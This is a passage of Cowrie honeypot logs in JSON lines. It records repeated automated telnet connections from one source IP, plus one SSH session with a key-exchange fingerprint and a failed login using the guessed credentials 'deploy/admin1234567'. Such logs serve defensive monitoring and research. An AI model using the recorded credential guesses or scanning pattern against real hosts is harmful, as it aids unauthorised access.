{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b6b2de6ebe","protocol":"telnet","message":"New connection: 213.129.84.225:57180 (159.203.135.109:23) [session: b2b6b2de6ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:36.816687Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57822,"dst_ip":"159.203.135.109","dst_port":23,"session":"fddce17778ec","protocol":"telnet","message":"New connection: 213.129.84.225:57822 (159.203.135.109:23) [session: fddce17778ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:36.937223Z"}
{"eventid":"cowrie.session.closed","duration":30.982067823410034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:37.250793Z","src_ip":"213.129.84.225","session":"5c2b091b24f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34584,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbde69fa07fa","protocol":"telnet","message":"New connection: 213.129.84.225:34584 (159.203.135.109:23) [session: cbde69fa07fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:37.863044Z"}
{"eventid":"cowrie.session.closed","duration":30.81161403656006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:38.092326Z","src_ip":"213.129.84.225","session":"72479953d838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36134,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd2b6516e9b1","protocol":"telnet","message":"New connection: 213.129.84.225:36134 (159.203.135.109:23) [session: dd2b6516e9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:38.186646Z"}
{"eventid":"cowrie.session.closed","duration":31.337204933166504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:38.670331Z","src_ip":"213.129.84.225","session":"3fa6f032b3bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36160,"dst_ip":"159.203.135.109","dst_port":23,"session":"1caf4da3ef3f","protocol":"telnet","message":"New connection: 213.129.84.225:36160 (159.203.135.109:23) [session: 1caf4da3ef3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:39.195490Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"19df05dcc80a","protocol":"telnet","message":"New connection: 213.129.84.225:40900 (159.203.135.109:23) [session: 19df05dcc80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:39.200462Z"}
{"eventid":"cowrie.session.closed","duration":30.452650547027588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:39.236901Z","src_ip":"213.129.84.225","session":"067a61a4b149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43390,"dst_ip":"159.203.135.109","dst_port":23,"session":"982a11d01843","protocol":"telnet","message":"New connection: 213.129.84.225:43390 (159.203.135.109:23) [session: 982a11d01843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:39.671785Z"}
{"eventid":"cowrie.session.closed","duration":30.858540534973145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:40.042146Z","src_ip":"213.129.84.225","session":"6fb6aa572a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45260,"dst_ip":"159.203.135.109","dst_port":23,"session":"38cbdab173aa","protocol":"telnet","message":"New connection: 213.129.84.225:45260 (159.203.135.109:23) [session: 38cbdab173aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:40.126904Z"}
{"eventid":"cowrie.session.closed","duration":30.3694109916687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:40.226210Z","src_ip":"213.129.84.225","session":"f59f6cca74b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767946243286133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:41.060295Z","src_ip":"213.129.84.225","session":"a672fc7250f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54278,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f2bc56508e1","protocol":"telnet","message":"New connection: 213.129.84.225:54278 (159.203.135.109:23) [session: 3f2bc56508e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:41.941290Z"}
{"eventid":"cowrie.session.closed","duration":30.56103277206421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:42.072460Z","src_ip":"213.129.84.225","session":"f52057f0e738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9787495136261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:42.173996Z","src_ip":"213.129.84.225","session":"3bd97c5484c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833007097244263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:43.060443Z","src_ip":"213.129.84.225","session":"f3ea4443ba1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33910,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a8a54223f9","protocol":"telnet","message":"New connection: 213.129.84.225:33910 (159.203.135.109:23) [session: 71a8a54223f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:43.693063Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34646,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ed0076252e","protocol":"telnet","message":"New connection: 213.129.84.225:34646 (159.203.135.109:23) [session: 74ed0076252e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:43.874918Z"}
{"eventid":"cowrie.session.closed","duration":31.230260848999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:43.921428Z","src_ip":"213.129.84.225","session":"c54ca58138da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59282,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d579ec0bc09","protocol":"telnet","message":"New connection: 213.129.84.225:59282 (159.203.135.109:23) [session: 5d579ec0bc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:44.035268Z"}
{"eventid":"cowrie.session.closed","duration":31.081671476364136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:44.096848Z","src_ip":"213.129.84.225","session":"a9f9b9c3b134","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131985902786255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:44.180812Z","src_ip":"213.129.84.225","session":"77e3dc640929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59841,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cfdb82a974d","protocol":"telnet","message":"New connection: 213.129.84.225:59841 (159.203.135.109:23) [session: 5cfdb82a974d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:44.187585Z"}
{"eventid":"cowrie.session.closed","duration":30.300905466079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:45.078205Z","src_ip":"213.129.84.225","session":"a547ef621898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":37350,"dst_ip":"159.203.135.109","dst_port":23,"session":"15e76520678c","protocol":"telnet","message":"New connection: 207.148.4.7:37350 (159.203.135.109:23) [session: 15e76520678c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:45.324722Z"}
{"eventid":"cowrie.session.closed","duration":30.78117871284485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:45.553033Z","src_ip":"213.129.84.225","session":"e6194667e64b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946927785873413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:46.047539Z","src_ip":"213.129.84.225","session":"a378e3e9ebcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50045394897461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:46.062005Z","src_ip":"213.129.84.225","session":"bc5b91e4e87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40762,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63645ef369d","protocol":"telnet","message":"New connection: 213.129.84.225:40762 (159.203.135.109:23) [session: d63645ef369d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:46.334407Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47166,"dst_ip":"159.203.135.109","dst_port":23,"session":"3305fed7f4f2","protocol":"telnet","message":"New connection: 213.129.84.225:47166 (159.203.135.109:23) [session: 3305fed7f4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:46.638052Z"}
{"eventid":"cowrie.session.closed","duration":46.29498362541199,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:46.760788Z","src_ip":"137.184.155.248","session":"ba3d9713037c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707202911376953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:48.060002Z","src_ip":"213.129.84.225","session":"482c60d05cf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":55326,"dst_ip":"159.203.135.109","dst_port":22,"session":"54a004e1afc3","protocol":"ssh","message":"New connection: 202.125.94.71:55326 (159.203.135.109:22) [session: 54a004e1afc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:48.190439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:48.194054Z","src_ip":"202.125.94.71","session":"54a004e1afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54466,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0feddde7fc","protocol":"telnet","message":"New connection: 213.129.84.225:54466 (159.203.135.109:23) [session: 8b0feddde7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:48.282160Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:48.458416Z","src_ip":"202.125.94.71","session":"54a004e1afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51130,"dst_ip":"159.203.135.109","dst_port":23,"session":"182e95a88f36","protocol":"telnet","message":"New connection: 213.129.84.225:51130 (159.203.135.109:23) [session: 182e95a88f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:48.488451Z"}
{"eventid":"cowrie.session.closed","duration":30.79690647125244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:49.041681Z","src_ip":"213.129.84.225","session":"3a20a72178a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b468fa313e8b","protocol":"telnet","message":"New connection: 213.129.84.225:57564 (159.203.135.109:23) [session: b468fa313e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:49.046642Z"}
{"eventid":"cowrie.session.closed","duration":30.58152461051941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:49.192667Z","src_ip":"213.129.84.225","session":"a6a80487db67","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin1234567","message":"login attempt [deploy/admin1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:49.551590Z","src_ip":"202.125.94.71","session":"54a004e1afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60388,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65751b6d1e7","protocol":"telnet","message":"New connection: 213.129.84.225:60388 (159.203.135.109:23) [session: d65751b6d1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:49.561019Z"}
{"eventid":"cowrie.session.closed","duration":31.064136028289795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:50.045288Z","src_ip":"213.129.84.225","session":"b59058d217b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34528,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e196032c97","protocol":"telnet","message":"New connection: 213.129.84.225:34528 (159.203.135.109:23) [session: 95e196032c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:50.123834Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:50.819211Z","src_ip":"202.125.94.71","session":"54a004e1afc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39428,"dst_ip":"159.203.135.109","dst_port":23,"session":"92c7cbbe0317","protocol":"telnet","message":"New connection: 213.129.84.225:39428 (159.203.135.109:23) [session: 92c7cbbe0317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:51.111128Z"}
{"eventid":"cowrie.session.closed","duration":30.817277908325195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:51.124599Z","src_ip":"213.129.84.225","session":"f78111c1a5f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40420,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b9e73274f81","protocol":"telnet","message":"New connection: 213.129.84.225:40420 (159.203.135.109:23) [session: 3b9e73274f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:51.346107Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d9627ea7129","protocol":"telnet","message":"New connection: 213.129.84.225:42144 (159.203.135.109:23) [session: 1d9627ea7129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:51.657506Z"}
{"eventid":"cowrie.session.closed","duration":30.58258819580078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:52.075212Z","src_ip":"213.129.84.225","session":"37dc9616c1b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39710,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb8766ec9372","protocol":"telnet","message":"New connection: 213.129.84.225:39710 (159.203.135.109:23) [session: fb8766ec9372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:52.191205Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49306,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd0dcfded9f9","protocol":"telnet","message":"New connection: 213.129.84.225:49306 (159.203.135.109:23) [session: fd0dcfded9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:53.131072Z"}
{"eventid":"cowrie.session.closed","duration":31.053398609161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.064498Z","src_ip":"213.129.84.225","session":"22b80f124b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.703208446502686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.119562Z","src_ip":"213.129.84.225","session":"f0b132ec926a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54434,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d72f8b6ce1","protocol":"telnet","message":"New connection: 213.129.84.225:54434 (159.203.135.109:23) [session: f6d72f8b6ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.160589Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55692,"dst_ip":"159.203.135.109","dst_port":23,"session":"44b5d9723617","protocol":"telnet","message":"New connection: 213.129.84.225:55692 (159.203.135.109:23) [session: 44b5d9723617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.373791Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55932,"dst_ip":"159.203.135.109","dst_port":23,"session":"704c5630a676","protocol":"telnet","message":"New connection: 213.129.84.225:55932 (159.203.135.109:23) [session: 704c5630a676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.409906Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57744,"dst_ip":"159.203.135.109","dst_port":23,"session":"e13feea7b989","protocol":"telnet","message":"New connection: 213.129.84.225:57744 (159.203.135.109:23) [session: e13feea7b989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.736391Z"}
{"eventid":"cowrie.session.closed","duration":31.09080982208252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:54.836617Z","src_ip":"213.129.84.225","session":"38849db212f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.741899251937866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:55.005521Z","src_ip":"213.129.84.225","session":"ad38786cd44d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9264018535614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:55.157974Z","src_ip":"213.129.84.225","session":"f4c7607600a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60974,"dst_ip":"159.203.135.109","dst_port":23,"session":"983af2968800","protocol":"telnet","message":"New connection: 213.129.84.225:60974 (159.203.135.109:23) [session: 983af2968800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:55.404379Z"}
{"eventid":"cowrie.session.closed","duration":30.970606803894043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:55.496487Z","src_ip":"213.129.84.225","session":"e8c6b3ceac50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58676,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ae6e34a78c","protocol":"telnet","message":"New connection: 213.129.84.225:58676 (159.203.135.109:23) [session: b4ae6e34a78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:55.916923Z"}
{"eventid":"cowrie.session.closed","duration":30.491926670074463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:56.204750Z","src_ip":"213.129.84.225","session":"f4b004fcd890","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36932,"dst_ip":"159.203.135.109","dst_port":23,"session":"04165836b7a3","protocol":"telnet","message":"New connection: 213.129.84.225:36932 (159.203.135.109:23) [session: 04165836b7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:56.263312Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38048,"dst_ip":"159.203.135.109","dst_port":23,"session":"307266656398","protocol":"telnet","message":"New connection: 213.129.84.225:38048 (159.203.135.109:23) [session: 307266656398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:56.477677Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42146,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e4fca66125a","protocol":"telnet","message":"New connection: 213.129.84.225:42146 (159.203.135.109:23) [session: 7e4fca66125a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:57.401774Z"}
{"eventid":"cowrie.session.closed","duration":31.57111930847168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:57.770730Z","src_ip":"213.129.84.225","session":"ba7fc889342a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772835969924927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:58.131545Z","src_ip":"213.129.84.225","session":"0a2d2fe8d12a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9917631149292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:58.136768Z","src_ip":"213.129.84.225","session":"efdba41eab80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51288,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf47d53028a","protocol":"telnet","message":"New connection: 213.129.84.225:51288 (159.203.135.109:23) [session: 8cf47d53028a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:16:59.285957Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"479db4544ccf","protocol":"telnet","message":"New connection: 213.129.84.225:50158 (159.203.135.109:23) [session: 479db4544ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:00.061285Z"}
{"eventid":"cowrie.session.closed","duration":30.549864530563354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:00.082475Z","src_ip":"213.129.84.225","session":"c818de2d78ef","protocol":"telnet"}
